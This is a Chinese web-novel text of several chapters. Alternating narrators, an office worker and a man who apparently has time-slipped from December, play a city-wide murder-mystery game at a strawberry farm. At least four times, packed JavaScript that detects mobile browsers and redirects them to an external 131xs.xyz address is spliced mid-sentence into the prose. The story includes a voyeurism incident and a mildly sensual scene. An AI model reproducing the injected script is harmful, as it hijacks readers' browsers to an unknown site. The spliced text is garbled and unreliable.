《剧本杀TA》 1. 梁上燕-6.21 梁上燕6月21日天晴 朋友安排了一场剧本杀活动,来庆祝我的生日。我对此类活动并不十分感兴趣,但拒绝的话在嘴边转了一圈又咽了下去,张口就是询问了时间地点。 周六下午两点。上午要去公司监工维修工人不知道多久。我那个高度近视眼的总经理不知开了什么挂,能把高尔夫球精准地卡进他办公室天花板上像蚊帐罩着蚊帐一样复杂的水晶吊灯里。能当总经理果然是有些水平的。本来还想着下午若是能回家躺床上,那该多是一件美事。 但我已经有些时日没有同朋友们一起活动了,怕拂了别人的好意也怕不够精心维护友谊,最终我还是没有说不。 天气热得离谱。 送走工人,出公司走了两步路我就觉得衬衫里面的吊带已经被汗水浸湿了一片。约定的地点离公司只有十几分钟的步行路程,我却仍然想打个车吹上一吹车上的空调。 为了省下十块钱的起步价,终究也还是没有打车。我捧着发烫的手机一边走一边复习他们给我发来的剧本。昨天晚上我已经熟悉过一遍了,甚至还做了三页纸的笔记。 搁学生时代,我这是老师们赞不绝口的预习习惯,但是时代变了,我是个已经参加工作了的牛马了,我会被同伴们指着鼻子谴责我内卷。连我自己都恨不得抽自己两个耳刮子,我做笔记有什么用,上了场还不是得等他们哗啦啦地翻书再发言,不如一起摆烂。 G城的发展之快永远都在我的想象之外,我大学的时候,还很不屑于剧本杀这种奇怪的交友游戏。不就是一群认识的、不认识的人坐在一个狭小的空间里一起吃零食侃大山。工作了几年,这游戏已经进步了,当然也有可能是我退步了,跟不上更年轻的步伐了。 现在的剧本杀已经豪迈地把场地搬到了整个城市。商家们会在城市的各个地点给你安排上相应剧本的线索,玩家们或组队或分头去收集后再汇合推理,一本玩下来,能耗你两三个周末。这波拉动城市各处的经济消费可是立了大功,我没有特地去关注,但各路媒体都宣扬过,很难不知道。 正好朋友邀约,我高低得尝尝咸淡。我不拒绝他们,其实还有这层原因,尽管将花费我好几个窝在家里的周末这一点让我倍感痛惜。 我可以简单讲一讲我拿到的角色。 就是一个随性又奔放的女画家——这跟我可太不像了。我现在习惯做计划,一想到计划里的任务在deadline之前还有很远的路才能完成,我就焦虑得抓狂。又绕远了,回到我的角色上来。女画家,对,我剧本里的名字就叫“画画”,我还有个搭档,我的助手,他叫小手,也挺敷衍的,我正是在去跟他碰头的路上。我们将结伴去找线索。 我到达城中步行街的时候,那小子还没到。真是不出所料,我永远在等待,即使我只是准时到。 一边烤太阳一边等人,就会把我心头的怒火点燃,待会儿我要看看是哪个迟到的朋友,我指定要数落他一顿。 就在我几近中暑的前几秒,一辆奇怪的水蓝色甲壳车突然出现,停在我面前,驾驶员上下打量着我。我气愤的拉开车门坐到了副驾驶上,我说:“你迟到了,小手。”车里怎么还打着暖空调,小手体寒? 小手伸出了他的右手:“手?” 我于是不客气地用我脱下来的背包往上呼了一记,以消心头不快。 “我可以调空调温度吗?你冷吗?” “有点热。”他说着主动改成了冷空调。 他仍旧打量着我,连同车外的街景一起。 我见他半天不出发,就问他:“走吧,看啥呢?”他不说话,搞得我正襟危坐起来,“你是小手吧?我认错了?你是一起拼车的玩家吗?” 他看起来搞不清楚状况,问了一句:“这里是哪里?” 我翻开手机,他好像瞥了一眼我的屏保,嘴里念了一遍今天的日期。我把手机地图举到他面前:“中南步行街。” “我们要去哪儿?”他又问。 “你是不是没有提前读剧本?”我尽量不让自己显得在发难,扯了个假笑问他。 “没有。”人还挺老实,也没有油腔滑调地找那些我不爱听的借口。 我敲敲他的手臂:“本子呢?你先花十分钟快速地捋一遍吧。” “嗯?本子?也没有。” 这个世界上总有人上厕所不带纸,出门讨饭不带碗,于他们而言,字典里的责任两个字时有时无。 我去跟组织活动的朋友程可说明了一下情况,要了一份小手的本子传到平板上,递给不靠谱大王小手本人看。 “只给你十分钟哦!” “好的。”他回答爽快。 从他那一目十行的阅读速度,我差点以为他在敷衍这十分钟。但十分钟之后,他主动开口了,准确地报出了剧本里五个埋了线索的地点,然后问我:“我们要先去哪一个?” “先去郊区那个吧,太远了,后面省得跑了。” “行。” 他又问我能帮忙导航吗,说是不认识路。我把手机架到他旁边,忍住、忍住,我是一个有修养的寿星。 小手发动了车,车里的空气也终于凉快了起来。我没了手机,只能抠手看风景,他也不说话,气氛很尴尬。 我想了想有什么话题能聊,憋了半天也只能问他:“你三次元做什么工作的?”又觉得问陌生人这个问题太冒昧了,忙补充道,“哈哈,我随便问问的,你不用回答。” “我做智能技术的。”小手他也像一个智能机器人,接收指令了就跑代码,我都说不用回答了。 “啊,哈哈,我做后勤的。”其实我是做财务的,但是这个不上路子的公司,财务是我,行政是我,人事的事我也做点,这能是人干的事? “我能问几个问题吗?”机器人发话了,我宣布,小手是破冰高手! “什么?” “世界最高峰是?” “珠穆朗玛峰。” “我们在的时区是?” “东八区。” “奇变偶不变?” “……符号看象限。”这多奇怪啊,我不禁反问,“这是什么暗号?剧本里的?” “不是,我对一下世界观。”小手一本正经地说,以至于我分不清他是不是在开玩笑。 我问他:“人生观和价值观要对一下吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458182|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 他居然认真思考了一下说也可以。我顿时怀疑他不会是拼车来这个剧本杀撩妹的吧,幸好我是铁板一块,我还会在他撩别的女孩子的时候当个搅屎棍。 我赶忙说:“别对了别对了,我们来对对剧本吧。” “你理清你是个什么角色了吗?”我问。 “理清了。” “你说说呢?” “是个脑子没长好的跟屁虫。” “你说话可真难听!别这么说小手,”我又修改了下措辞,“别这么说你自己。” “我脑子好。” “但你现在就是小手,你就得脑子长不好。” “你也认同小手脑子没长好。” “剧本需求嘛,你忍一下。”我居然还要帮他代入角色。并且,他好像一个自大狂,要来玩这个剧本杀,又要嫌弃自己领到的角色太降智。我对这个小手不是很满意,从他出现的那一刻起,他就没有表现出一个玩家该有的基本素养。 “你倒是和画画挺像的。”他说话的时候眼睛都不朝我转一下。 但我不想和他掰扯了,就傻笑两声:“是吗,哈哈。你看人挺准。” 车里又飘起了令人安详的沉默空气,只有我那癫狂的语音包在带动气氛:“前方!有!闯红灯!拍照!限速!四十!你超速了!减速减速减速!” 我躺到靠背上,心里琢磨着怎么把这个机器人小手想象成剧本里那个狗系小助手。我摇下一小半的车窗,热浪从半开的空隙里争先恐后地涌进来,我又赶紧把车窗摇上去了。然后我又开始盯着车里那个永动撞击球摆件,怎么会有人在车上放这个,颠簸的路况让五个小球齐刷刷地左右摇晃。我高高拎起最右边那个再松手,左边四个摇摆着分离出两个翘起来又荡回去,整个摆件无序地扭起来。 “非惯性系效应和碰撞时机错位,是不是也很有意思?” 我的知识储备并不能支撑我听懂小手在说什么,但我不能露怯,这是职场法则,不会也得会:“有意思的。” 幸好这个小手没有好为人师的毛病,没有继续展开关于物理学的深入探究,否则我可能要跳车,我与数理化是不共戴天的关系,我这辈子不可能走遍天下。 “我们要到了。”小手在我睡着之前扼杀了我的困意。 我甚至不想下车,外面太热了,这还是个草莓园农家乐,不知道线索到底是埋在室内还是室外。 我还是迅速下了车。我是遵守游戏规则的人,不管哪里的规则我都遵守。 我下得很快,但小手磨磨唧唧的。我站在路边,这才注意到,他穿着的西装里面还穿了一件毛线的黑白格子马甲。他在车里把西装外套和马甲都脱了,又解开衬衫领口的两个扣子,袖扣也解开挽上去。然后丝毫不慌忙地把外套和马甲叠好,撅起屁股放到后座位上。我真想拉开车门,给他的翘臀踹上一脚,果然性感的事物总是让人产生蹂躏感。 等他钻出车,人高马大地站在我旁边,不知道从哪里又掏出一把黑色的折叠伞,撑开把我一并罩进去:“走吧。” 我心里乐开了花,这下我总算找到了能把他跟剧本里的小手划等号的点了。 2. 柏青-12.21 柏青12月21日天晴 我不知道我为什么会来到这个世界,我只是在车上拨弄了一下牛顿摆。也许,就是这中间的某一次碰撞改变了磁场? 理不出能让我穿越到四维空间的头绪,但我在见到人的一瞬间就反应过来如果我不能回去,那么我急需一个身份。 她好像直接就把我当作了谁,不重要,重要的是这个谁的身份能不能借用一下。 我借用身份来得相当容易,原来是她们在玩一种剧本游戏,我不是很理解,但我看完剧本之后就有点思路了。又或者,我也是穿到了某一个剧本或者小说里,现在在进行的是剧中剧套路?就好比《盗梦空间》里那种梦中梦? 我瞥了一眼车里的后视镜,没有那种吓人一跳的陌生外貌,我还是我原来的样子。 先去跑完这个剧本吧,也许我的回归条件是剧本通关。不,也许是这个牛顿摆,但我不能带着别人一起穿越。我在画画下车之后,借着脱衣服的空挡,拨了几下,无事发生。 伞下的画画脸上挂着若隐若现的傻笑,不太清楚她在笑什么,笑我刚刚穿得多吗?没有办法,我的世界里现在正是十二月份。 接手的项目明年六月份就要交工,回不去就完蛋了。我这么想着,步子都没忍住迈得更大了,画画只能小跑着保证自己还待在伞的阴影下,有点滑稽。 我不熟悉这个游戏的具体流程,画画约摸也不是老手,我们两个人穿过小小的接待小厅直直就往里头钻,被接待员拦住了。 “两位两位,有预约吗?” “现在逛农家乐也要预约吗?”画画问。 “我们不是农家乐。”接待员的笑容有一瞬间的僵硬。 “应该是程可帮我们预约的……吧。” “好的,两位稍等,我搜一下。” 过了五秒:“有的,”接待员又说请提供身份证件,我半天不敢有动作,画画掏得行云流水。 “程小姐还给定了两个房间休息,可以住到明天中午十二点前,包含早餐。” 接待员说着看向我,示意我也掏出证件。 其实我身上是有身份证的,但我担心这个世界刷不出来。我只能告诉她我忘记带了。 画画看我时露出了看不争气的傻儿子一样的眼神。 场面僵持住了。接待员这这那那地说:“要不然你报个身份证号码,我们这里有人脸识别的。” 我说我不记得我的身份证号了。 画画的脸拉得有葫芦那么长。 “你搁车里休息得了!”画画说。 我说:“也行。” 画画拿走她那张房卡,叹口气:“先进去吧。” 我们穿过接待厅,后面就是一个目测百来平的草莓园。画画跑回接待厅问接待员:“草莓我们能吃吗?”得到肯定的回答,她又高兴地跑回来一头扎进草莓堆里找草莓。 我环顾了一下四周。这确实像个农家乐。 没有什么院墙之说,全是些稀稀拉拉的竹竿子,有正经来逛草莓园的,在入口处交钱领个筐子,家长带小孩的居多。 只有画画夹在人群里,摘一个吃一个。 透过竹竿能很轻松地看到外面也用竹子木板在水塘上搭了几个亭子,亭子间铺的木板桥也没个栏杆,晚上可没谁敢走。 我估摸着画画吃了有将近十个,走过去跟她说:“你不洗洗?打了药的。” 她把手里那颗还没塞进嘴里的拨回草里,拿叶子盖了半天,又掏出来扔我手里:“我不吃了,给你吃吧。” 我觉得脏兮兮的,就说我不吃,还给了画画。 她接过去在衣服上擦了又擦,最终还是塞进嘴里去了。她的眼神什么意思?打了药不用擦,我拿过的要擦? 我说我先去找线索了,画画说那她也去。我急着看这里的线索里有没有我回去的信息,她肯帮忙加速推剧本更好。 画画跟着我一起穿过草莓园去到外面那个水塘边,太阳光照在水上反射出来的波光晃眼睛。我们踩在那个木板桥上的时候,吱吱呀呀的声音有点吓到画画了,这看起来不用等到晚上就挺吓人的。 也许我应该伸手扶着她,让她能有点安全感,少在那里大呼小叫。想了想还是没有扶,让她叫吧,不然光听这个吱吱呀呀的木桥叫,好像指甲刮在黑板上一样,惹人难受。 抵达第一个亭子的时候,我上上下下扫了一遍,没有什么积灰,倒像是经常有人来。 我再朝前面那个亭子望过去,明白了经常来的都是些什么人。 ——钓鱼佬,那边就站着一个。 我们迅速把这个亭子搜罗了一遍,没藏什么东西。于是继续像站着钓鱼佬的那个亭子继续走,他显然很厌恶我们的动静,会吓跑他那不知道能不能上钩的战利品,朝我们翻翻眼皮,示意我们走快点。 我便大步流星地跨过去,一脚踢翻了他的饵料盒。 “不好意思。”我同他道歉。 他不耐烦地“啧”了一声,不说没关系也没找我的麻烦。 我连忙蹲下去给他收拾散了一地的玉米饵料。 画画一看就不懂他们钓鱼佬道上的规矩,一路边跑边间或“呜呼呜呼”地叫。直叫到亭子里,一脚踩扁了好些个嫩玉米。 “不好意思。”这下轮到她道歉了。 我要是这个钓鱼的,我也生气。我和画画真是又聒噪又捣乱。所以当他甩下鱼竿,气鼓鼓地走掉的时候,我同情了他一下,想必他的心情和我在家游戏闯关,而我的外甥一直在旁边要求我给他看一集动画片时一模一样。 “他怎么鱼竿都不要了?”画画问道。 我也奇怪,这么生气吗。画画已经两手提起了那根鱼竿。 “好重。”她说。 鱼竿能有多重,我一只手搭过去替她出力提竿。握上去便能感觉到不对劲,这是挂底了吧,根本提不上来,竿子都绷成了一个完美的抛物线。 画画不死心,她的膝盖死死地抵在亭子栏杆上,整个身子都向后仰去,从牙缝里说:“我倒要看看,这到底是钓到了什么。” 她好奇心太旺盛了,岸上看不见,她就下水去看,带着栏杆和我一起。 幸好我会水,我还能救画画一手,我扼着她的脖子拖着她往岸上游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458183|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脚已经能碰到池塘底了,却怎么都拖不动这个还算规矩的旱鸭子。回头一看,她手里还死死攥着那根鱼竿。 “你把鱼竿松了。”得亏灌进她耳朵里的水没有灌满她的脑子,她听到后便扔了鱼竿。 我在岸上给她拍背咳水,她在兜儿里掏来掏去,把房卡掏出来问我道:“这个进水了还能用吗?” 我说能用,她就拉着我去烘干衣服。我看到她外面的白色短袖已经湿了,透出里面的运动内衣来。我没好意思盯着看,也没好意思指出来,更没好意思把我的衬衫脱了给她披上挡挡,因为脱了我就是光膀子的了,我也害臊。 我们尽力把身上的湿衣服拧拧干,不至于一路滴水滴得太厉害,但还是很引人注目。我已经尽我所能地走在画画的前面替她挡着点了,仁至义尽。 路过的人素质都还不错,觉得奇怪也不好意思多看。只在路过一个布草间的时候,有个明显素质差一截的大哥正蹲在那里洗拖把,他把我从头看到脚,那他肯定也把画画从头看到脚了。 画画刷卡打开房门,人却不进去,抵着门往里探了一眼,看到床上摆了一套睡衣,跟我说:“你先换上。” “就一套,你不换?”我真是意外,画画竟是这么舍己为人的人。早知道我就该光着膀子走一路,是我格局小了。 “这多不好……” “换下来的湿衣服扔那我等会烘。”画画没等我说完,“咚”就把门关上了,把我关在门内,她关在门外。我的“意思”两个字贴着门说的,也不知道她听没听到。 等我换完衣裳打开门,画画在门外警惕地看着布草间的方向。我说:“你快进来。” 画画动作确实很快,她飞快地闪了进去,又把我推出门去,“咚”一声又把门关上了。 她也不是个傻子,知道防着人。 我往布草间那边走过去,快到门口时,那个洗拖把的大哥突然从里面窜出来,一本正经地朝我点头打招呼,像有事要忙地提着他的拖把走了。 我在布草间里摸索了一阵,也没发现什么跟剧本线索相关的物件。这里面有一扇小窗户,这会儿正开着透风,风没有吹进来半点,全被窗外长着的竹子拦截掉了。 于是我便想起画画那间房里也有两扇窗户,一扇开在卧室,一扇开在卫生间。外面也是长着竹子,真是不懂这么个景观布置,能看到什么风景。 穿着画画房里的睡衣也不好大摇大摆地出去晃,但我在她门口蹲了好久她也没打算开门放我进去坐坐。我就在门口听着房里吹风机的声音断断续续地响个不停。 我站一会儿蹲一会儿,感觉时间过去了不下四十分钟,天色都有些收链起来。 我没有白耗着,我在心里把白天在车上看的剧本反复揣摩了好几遍。 ——我是画家画画的助手,我们在寻找一个杀害了出版社主编的凶手。嫌疑人除了我俩之外,还有四个。我尚未见过他们,他们现在也分组在这座城市的其他地方寻找线索。 如果我的目标是找到凶手通关剧本,那么包括我在内,根据现有的故事线拼凑出的动机,谁最有可能是那个凶手? 3. 梁上燕-6.21 梁上燕6月21日天晴 我在房间里检查了所有的插座孔、墙缝、一切可能会长眼睛的角落,然后什么也没穿,裹着被子吹干衣裳。吹了一会儿太热了,才想起来我还可以开空调。 蜡烛没有吹上,吹风机和空调吹上我了,也挺好,它们可能也过生日。 又吹了一会儿,手实在是翻不动了,我就窝在被子里想那鱼竿上到底是挂了什么,会不会是线索。那个钓鱼的看起来就像个NPC,不像个正常人,哪有钓鱼被惹到了就扔了工具跑的。我没钓过鱼,我还不知道一套钓鱼的装备也值不少钱的吗。 等我把衣服吹干了,趁天还没黑,把小手带过去再看看,他会游泳,顶多再给他吹一遍衣裳。 我吹干衣服的态度还是十分端正的,每个角都要吹一遍,吹到小手的裤子时,摸到里面有一张对折的纸条,已经被水泡得快要撕不开了。幸好我刚刚洗自己衣服的时候没有大发慈悲地把他的也拿去搓了,不然这张纸就该碎在他的裤兜里了。 其实主要是我看这西服的料子,不太像能手洗的样子,但小手的白衬衫大抵是已经毁了,池子水总归不是纯净水。算他活该,出来玩还穿正装,装什么土帅哥。 我拿吹风机给那张纸条吹了吹,还好,就一个角粘在一起,剩下的还是可以铺展开来的。展开一看,什么嘛,12月份的一张小票,塞裤子里塞这么久,我还给他吹了又吹。 但我素质高,我还给他塞回兜儿里去了。 我素质也不是十分高,不小心躺得睡着了,没有办法,我昨晚熬夜今天还早起了。睡了半个多钟头,还好不算太过分,只要我不说,小手只会以为我在房里吹了半个小时吹风机。 我飞快地套上自己的衣服,拧开门把手,小手就蹲在我房间门口,坏了,不会让他听到我的吹风机没响吧。 他摸着下巴想事情想得出神,连我开门也没听到。我叫了他一声,他从地上站起来,蹲久了腿麻得走不了路,像个瘸子一样被我扶进来坐了一会儿。 我说:“你把衣服换上我们去找线索。”说完我走到门口准备退出去等他,但我又想起他等会还得下水,便搓着手腕跟他说,“不换也行。” 他抬起头眼神里分明写着两分惊恐。 他仍然坚持换上了自己的衣服,尽管裤子衬衫被我吹得皱巴巴。 太阳没有完全落下去,但室外的气温没有那么高了,我往亭子那边走的时候心里有些虚,怕那个坏掉的栏杆要算在我的头上。 下午那个钓鱼的回到了案发现场,我更心虚了,因为我不仅绷坏了栏杆,我还把他的鱼竿扔在水里。 我让小手走前面,真吵起来或者是打起来了,他一米好几的体型可以给对面一点震慑。他偏不依,说他的衣服裤子太丑了,大男人关键时刻讲究这些。 快到亭子了,我心里已经开始打鼓了,这是战斗的前奏。我想,要不然我们就从他旁边路过,绕到我们上岸的那头去下水。 但被这个钓鱼的叫住了。他抱臂稍息着,一直在拿伸出去的那只脚拍地,一副很不耐法的样子:“你们两个,怎么来这么晚?” 他从怀里掏出一个假皮革的卷纸,我一开始还以为他要动手,手已经挡到脸上去了。他把卷纸塞到我手里,我没握住,但纸也没落地,被小手接住了。 这钓鱼的还真是个NPC,线索道具挂底了,他去拿了个新的给我们,回来我们人就不见了,然后他在亭子里吃着热气等了我们两个小时,现在脸色红红,分不清是热的还是气的。 他骂骂咧咧地走了,我看着小手拿着的那卷线索,不知道说什么好,想过这个游戏可能是个草台班子,没想到是这么草率的班子,没有动手,更没有动脑筋,第一个线索直接就交到了我们的手上。这让我对接下来几周的周末变得毫无期待。 小手看起来还是很有兴致,他迫不及待地打开了那张卷纸。 我也把脑袋凑过去看,纸上画的……好像一个藏宝图。整个农家乐的标志性地标和建筑都标注了出来,好几个地方打上了叉叉。 看来,也不是十分无脑的游戏。 我们还有明天一整天的时间可以去收集,所以我不是十分着急,小手倒是出奇的积极。他即刻便动身去往最近的标记点方向。我总不能去当那个扫兴的人,反正赶进度是我人生无处不在的命题,我认同小手的内卷态度,行动上也是。 最近的标记在第三个亭子处。我们在亭子里搜罗了一阵,没有觉得有什么不一般的东西。一个竹亭子而已,它能藏东西的地方就很有限,总不能又给藏亭子下的水里吧。 小手走到亭子外稍稍踮着脚顺着亭子顶的边缘摸了一圈,摸下来一大把的灰,还有一张不染灰尘的卡片。 是一小片拼图。由于是边角的部分,并不能看出完整的图里是个什么。不过我明白了这个游戏找线索的精髓,就是套娃,给你一个让你找下一个。 天色实在是差不多到饭点了,我下午吃了许多草莓,倒是不饿,但我还是象征性地问了一下小手。 就这一个简单的吃不吃饭的问题他也能支支吾吾地犹豫上,最后他还是说不吃了,先找线索。行吧,那就继续。 第二片拼图在草莓园,我趁机又吃了几颗草莓。不要以为我没看见,找拼图的间隙里小手也吃了一颗,要么下午他说打了药是在恐吓我,要么就是他不想吃晚饭是装的。 我怀疑我们两个人都不爱和不熟的人多说话多相处,但我们明天还要呆在一块儿,甚至还有后面好几个周末。气氛不能一直这么处于零度,这叫人更加畏惧这个游戏的继续进行。 于是我边找边同他搭话:“小手你以前玩过剧本杀吗?” “没有。” “那你玩过别的社交类的游戏吗?” “没有。” “你……玩游戏吗?” “玩。” 他到底是太专注找线索了还是不想搭理我,好似挤牙膏一般,问一句答一句,答的那句还没是兴趣继续话题的样子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458184|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这一串问题我问得头皮发麻,如果这是线上的聊天,我早早就礼貌说要睡了要忙了,但这是线下,这是一个集体游戏,我拉不下脸先跑路。上班受气也就算了,下班怎么能还受气,谁还不是个宝宝,总不能我一直在这里哄你开口,像个小丑,你不说话那我也不说了,我也当单机游戏玩。 我们沉默着各自翻找,他翻找线索,我翻找线索和大个的草莓。 好巧不巧,这片拼图我在我摘下的草莓下面的透明塑料膜里。我不想开口和小手说话,就走过去把拼图在他眼前扬了扬。 他高兴地说:“找到了?”然后便掏出自己身上那片,试图看看能不能拼到一起。 很遗憾,并不能。不过这片隐隐约约能看出来图上大概有只黑猫,油光发亮的毛发里嵌着几颗巧克力豆的前爪伸出去不知道要巴拉什么。 小手深受触动的样子,把那片拼图拉近了贴着脸仔细查看。 “有什么问题吗?”我问他。 “我也养了一只黑猫。” 我怎么不记得剧本里的小手还养了一只黑猫。他是事无巨细给我打下手,还照顾我饮食起居的助手,怎么还有空养猫。防着他点,知人知面不知心,万一他就是凶手。 九张拼图,我们在天黑之前找到了五张,黑猫的身形已经能看个完整了,但它到底在巴拉什么还未可知。 我不愿再加班,和小手说道:“明天再找吧。” 他看我撑着墙站,大概是看出我累了,“嗯”了一声。 我可以直接回程可订的房间,但让小手回车里过夜确实不太好,便和他说:“要不然你今晚回家睡吧,还能换身衣服,明天晚点来也行。” 他的眼睛从拼图上挪起来看我,晦涩难懂的表情看不出他到底是不是认同我的话。 半晌过后,他像回过神来:“你还不回去吗?” 感情他是在看着我的脸想别的事情呢。 我说:“我走了。”走了两步回头看,他还歪在路灯下面神游,穿着他那身皱皱巴巴的正装。没事,离远了看看不出他的衣服有什么不堪。只能看到他颀长的身形被路灯一照,显得轮廓模糊而温柔,人影和竹影一道打在地上,斑驳地连成一片。 可惜了,要不是性格问题太大,不然我就心动了。 回到房间,我把窗帘拉开,我记得这里能从竹竿缝里看到小手站的那处路灯。他人已经不在那里,应该是回去了,我便又把窗帘拉上了。 虽然我也没有带换洗的衣物,但我白天已经把身上的衣服洗过一遍了,明天再穿又有什么关系。要怪就怪程可没有提前通知我可以在这边过夜。 躺了一会儿我觉得还是得再洗个澡,找拼图的时候钻了各种犄角旮旯,又流了许多汗,不洗洗实在难受。 浴室的热水一拧开,很快蒸汽就漫在这个狭小空间里。我垫起脚把头顶上的那扇小窗推开让热气散出去,喜滋滋地享受淋浴时光。 不在家有这点好,多洗一会儿也不会心疼水电。没白来。 4. 柏青-6.21 柏青6月21日天晴 拼图给我打了一剂提醒,如我一周内回不去的话,自动喂食器里的粮就要空了,白屏要在家挨饿。 现在的问题很严重,白屏还没饿我先饿了。 我不清楚这里的货币和我那的货币能不能互相流通,回车上翻出手机尝试给教授发了一条信息,一直在转圈圈。又去找了一台自动贩卖机,不出所料地买不了一瓶矿泉水。 我先回了车上,摘了隐形眼镜,幸好出门时把框架眼镜放在了车上。下午泡了河水的眼睛里其实一直不大舒服,早就想把隐形扒出来了。 坐了一会儿还是决定下车去把剩下的四张拼图找出来,明天就可以和画画去下一个地点,我必须要加速了,这个冗长的剧本杀,按它的流程走,我和白屏总有一个要饿死。 刚刚回来的时候那个路灯下面有一个标记点,我居然没有摸完那里的拼图碎片再回来,现在再跑回去找,这其中浪费的时间算算就很可惜。 一开始我没觉得蹲在小路边找东西的样子有什么不妥,但是白天那个布草间的大哥从我身边路过的时候,连他都没忍住多看了我两眼,我就觉得大概我的模样确实不妥当。 不过他只是多看了几眼就走过去了,也没说什么。 我在他走过去之后又俯下身去摸索,胡乱拨得叶子草丛哗哗作响。我身后不远处的竹叶也被风吹得哗啦啦响。 响了一阵的竹叶声里传来一声画画的尖叫和一句:“谁在外面!” 我扭过头去看到布草间的大哥扒在那一小片竹子后面的小窗口,飞快地收起还没有息屏的手机。他在录像。 我和慌里慌张的大哥对上了眼。 下一秒他就想跑,我小腿的肌肉自发地出力带我追上去摁他在地。他趴在地上,一边喊着放手一边又讨饶地说:“我删了我删了。” 我摸到他的手机,翻到他录的画画的视频还没有删除,心想没收了连人带脏地交给警察去吧,又想起我没有身份做笔录什么的。直接把视频删除又拉出他手机里的恢复出厂设置按下去,焦躁地等待他的手机执行指令完毕。 中途我竖起耳朵听着旁边的房里有没有什么画画的动静,只听到一阵细碎的水声,应该是浴室花洒的水没有关。 “畜生。”我没忍住压紧了手腿下的人,捱到出厂设置成功又给了他一拳。我的身份证要是有用,他可不止吃这一个拳头。 我把手机扔到地上,急着去看看画画的情况,管不了这个败类了。 整个旅馆区域的入住者不是很多,走廊里只剩一两个还在张望的客人,也没有管理人员出来处理情况。我的后槽牙都要咬断了,这里的管理如此差劲,消费项目在前面飞,相关的规范在后面追。 我敲了两声画画那间房的房门,她没有立刻跑来开门,但我隐约听到些脚步声越来越近,她就站在门后。 能理解遇到这种事情,她现在的心情应该是害怕的。我又轻轻敲了两下门,想叫她的名字缓解她的恐惧情绪,但我不知道她叫什么,我只能叫她画画。 门后没有声音,我又尝试着叫了一声:“画画?” 门“啪嗒”一声被打开,画画的头发还湿漉漉地滴着水,她把两条被子都裹在身上,脖子上挂的也不知道是花洒里的水还是捂着热出来的汗。 她的眼睛里确实满是惊恐,但还有一些愤怒。开门第一句话便是问我:“是你吗?” 这叫我何从申辩?我只能说不是我,不信你可以检查我的手机。 我把自己的手机解锁了递给她。她里里外外把我的相册、储存空间、网盘全翻了一遍后还给我,说:“这也不能说明不是你。我要去找这里的经理,你和我去。” 她又要去找人调查理论,又害怕自己一个人行动,连我是个嫌疑人也顾不上了。 等她把披着的被子扔回床上,看着自己那身没擦干就穿上、显得乱七八糟的衣服的时候,她又后悔了,支支吾吾地和我说:“今天我先相信你,我们明天来找经理,这会儿……你可以先送我回家吗?” 我把她带回了车上,车里的空气都随着她的进入而变得潮湿起来。她坐在副驾驶的位置上又紧张又松懈地胡乱调整坐姿。 我说:“你觉得可能是我,还敢叫我送你回家?” 她说:“对不起,我想了一下,你应该不会拍了照片还来敲我的门。我刚刚有点着急了。” 我又问她:“那保险起见,你为什么不叫你朋友,呃、程可?来接你?” 她把脸转过去,面朝车外:“我不想让她觉得她搞砸了我的生日。” 我沉默了片刻,说了一句生日快乐。虽然好像不是很快乐。 她在听完这句话之后突然转过来看我,就那么直愣愣地看着我的眼睛。我没有这么长时间跟人干对视不说话过,以至于这段静谧的目光交流中,我尝试从她的眼神中读取一些信息。 大概一分钟过去后,她突然从副驾驶的位置解开安全带,以一种我意想不到的矫健飞快地跨坐到我的双腿上。由于背后抵着方向盘,她的大半个身躯不得不伏在我身上。 我能闻到她身上还有旅馆批发的沐浴露的味道。 至于我的眼睛看向哪里,我觉得不能全赖我。她的双眸里不知为何涌现出一股奇怪的炽热,我不敢看,我只能略微垂目,看她脖子上的一滴水珠子。那滴圆润的水就在我眼前顺着她长长的脖子往下滚,在白嫩细腻的皮肤上留下一道痕迹,流向幽暗的山峰深处去。 我又不敢看那深处,宇宙的黑洞能吞噬一切,那里可能也一样,只好又抬起头看画画的脸。她的脸真的好像一幅画,山明水秀的。 她是被今晚的事吓疯了吧才做出如此出格的举动,伏在我身上这许久也不下去,嘴里喃喃了一句:“你怎么还戴上眼镜了?”说完便问也不问问我地给我摘了眼镜。 这下好了,我应该可以左顾右盼了。但我些微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 